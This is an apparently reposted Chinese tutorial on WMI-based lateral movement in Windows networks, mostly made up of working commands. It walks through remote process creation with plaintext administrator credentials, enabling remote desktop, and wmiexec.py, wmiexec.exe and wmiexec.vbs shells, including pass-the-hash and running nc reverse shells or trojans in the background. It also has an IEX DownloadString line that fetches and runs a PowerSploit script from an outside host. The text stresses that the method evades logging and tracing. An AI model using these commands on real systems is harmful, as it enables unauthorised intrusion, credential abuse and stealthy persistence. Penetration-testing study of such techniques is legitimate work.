WMI介绍

WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为在这个过程中不会产生日志,所以,对网络管理员来说增加了攻击溯源的成本。而对攻击者来说,其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。

WMI利用条件

1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。

WMI 常用命令

文件管理

查找文件名

wmic fsdir where "drive='c:' and filename='whoami'" list

删除C盘下的test目录

wmic fsdir "c:\\test" call delete

注意“\”要进行一下转义

枚举出整个系统中的所有可执行文件

wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath

全盘搜索某文件并获取该文件所在目录

for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)

系统环境设置管理

提取出所有重要系统文件的路径

例如temp目录和win目录等等:

wmic environment get Description, VariableValue

获取temp环境变量

wmic environment where "name='temp'" get UserName,VariableValue

更改PATH环境变量值,新增c:\whoami

wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami"

进程管理

列出所有进程信息

wmic process list brief

Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态

wmic process get processid,name,executablepath 

获取指定进程可执行文件的路径

wmic process where name="vmtoolsd.exe" get executablepath
wmic process call create "C:\windows\system32\notepad.exe"

根据系统命令创建进程

wmic process call create "cmd.exe /c 'ipconfig'"
wmic process call create "shutdown.exe -r -f -t 60"
wmic process where name="notepad.exe" delete
wmic process where pid="244" delete 

用户账户管理

显示用户

wmic useraccount
wmic useraccount list brief

更改用户名

wmic useraccount where "name='%UserName%'" call rename newUserName   // 更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin  // 更改指定用户名

计算机系统管理

wmic computersystem get domain

自启程序管理

wmic startup get command,caption

服务管理

wmic service list brief

wmic service where "state='running'" list brief
wmic service where "name='tlntsvr'" call startservice

wmic service where "name='tlntsvr'" call stopservice

获取补丁信息

wmic qfe list brief
wmic qfe get Caption,Description,HotFixID,IntsalledOn

查看域控制器

wmic ntdomain list brief

查看安装的软件信息

wmic product get name,version

远程桌面连接

使用WMIC命令开启远程计算机的远程桌面连接:

wmic /node:192.168.52.138 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1


// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

共享管理

wmic share list brief
wmic share get name,path,status

创建和删除共享

// 建立共享
wmic share call create "","test","3","TestShareName","","c:\whoami",0
(可使用 WMIC SHARE CALL Create /? 查看create后的参数类型)

// 删除共享
wmic share where "name='C$'" call delete
wmic share where "path='c:\test'" delete

使用WMI进行横向移动

注:使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445端⼝传回显)

远程创建进程

如下,以administrator用户连接192.168.52.138(DC),并在机器上创建一个进程执行ipconfig命令,将结果写入c:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)

wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 process call create "cmd.exe /c ipconfig > c:\result.txt"

// /node:指定将对其进行操作的服务器

这里由于我预先与目标主机建立了ipc$连接,所以就不需要在wmic指定/user和/password了。

建立ipc$连接后,使用type命令远程读取192.168.52.138上的执行结果:

type \\192.168.52.138\c$\result.txt

重启远程计算机

wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 /process call create "shutdown.exe -r -f -m"

使用WMIC远程执行命令,在远程系统中启动WMIC服务(目标服务器需要开放其默认135端口,WMIC会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,WMIC将无法连接。另外由于wmic命令没有回显,需要使用IPC$和type命令来读取信息。需要注意的是,如果WMIC执行的是恶意程序,将不会留下日志。我们可以使用如下这些工具来执行wmi远程命令。

WMIEXEC横向移动

wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。只能说很多工具吧,比较好用的在这里介绍几种。wmiexec需要提供账号密码进行远程连接,但是如果没有破解出账号和明文密码,也可以配合哈希传递或票据注入功能一起使用,先进行传递或注入,然后再使用WMIEXEC即可。
过程:

先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机

然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。

随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。

当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。

最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。
当结果读取完成时,调用WMI执行命令删除结果文件。
最后当WMIEXEC退出时,删除文件共享

Impacket中的wmiexec.py

该脚本主要在从Linux像Windows进行横向渗透时使用,十分强大,可以走socks代理进入内网。

下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

需要先下载impacket工具包,这里面有很多工具

git clone https://github.com/CoreSecurity/impacket.git
 cd impacket/
 pip install .

安装成功后,切换到examples目录下,运行如下命令获取目标系统192.168.52.138的shell:

python wmiexec.py administrator:Liufupeng123@192.168.52.138
// python wmiexec.py 用户名:密码@目标IP

如果对wmiexec.py指定-hashes的话,则可进行哈希传递

python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP    // 哈希传递获得shell
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"   // 执行命令

EXE版本的wmiexec

命令与wmiexec.py是一模一样的。运行如下命令获取目标系统192.168.52.138的shell:

wmiexec.exe administrator:Liufupeng123@192.168.52.138

wmiexec.exe主要用在Windows上。

wmiexec.vbs

下载地址:Here

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

执行如下命令,获得目标主机(192.168.52.138)的一个半交互式的Shell:

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 administrator Liufupeng123
// cscript用于在Windows中执行脚本

输入如下命令,使用wmiexec.vbs在远程主机上直接执行单条命令:(有回显)

cscript.exe //nologo wmiexec.vbs /cmd 192.168.52.138 administrator Liufupeng123 "ipconfig"

注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加“-wait 5000”或更长时间的参数。

由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。为了解决这个问题,加入了“-persist” 选项。

当命令加了“-persist” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。这样就可以运行nc或者木马程序了。

img

wmiexec.vbs已经被各大厂商杀的死死的了。

使用PowerShell来执行WMI命令横向移动

Invoke-WmiCommand.ps1

下载地址:https://github.com/PowerShellMafia/PowerSploit

Invoke-WmiCommand.ps1是PowerSploit中的一个脚本工具,该脚本主要通过powershell调用WMI来远程执行命令,本质上还是利用WMI。

适用于Windows Server 2008 和 Windows 7及以上默认内置powershell的版本。使用如下,在powershell中分别输入如下命令:

IEX(New-Object Net.Webclient).DownloadString('http://39.xxx.xxx.210/powersploit/CodeExecution/Invoke-WmiCommand.ps1')     // 下载脚本并导入系统
$User = "域名\用户名"     // 指定目标系统用户名
$Password = ConvertTo-SecureString -String "文明密码" -AsPlainText -Force   // 指定目标系统的密码
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password    // 将账号和密码整合起来,以便导入credential
$Remote = Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput       // 将执行结果输出到屏幕上

Invoke-WMIMethod.ps1

Invoke-WMIMethod.ps1模块是powershell自带的,可以在远程系统中执行命令和指定程序。在powershell命令行环境执行如下命令,可以以非交互式的方式执行远程命令,但不会回显执行结果。

$User="域名\用户名"    // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force   // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password     // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred   // 在远程系统中运行notepad.exe命令

转自:内网横向移动:利用WMI来渗透 - FreeBuf网络安全行业门户

最后修改:2022 年 10 月 27 日
如果觉得我的文章对你有用,请随意赞赏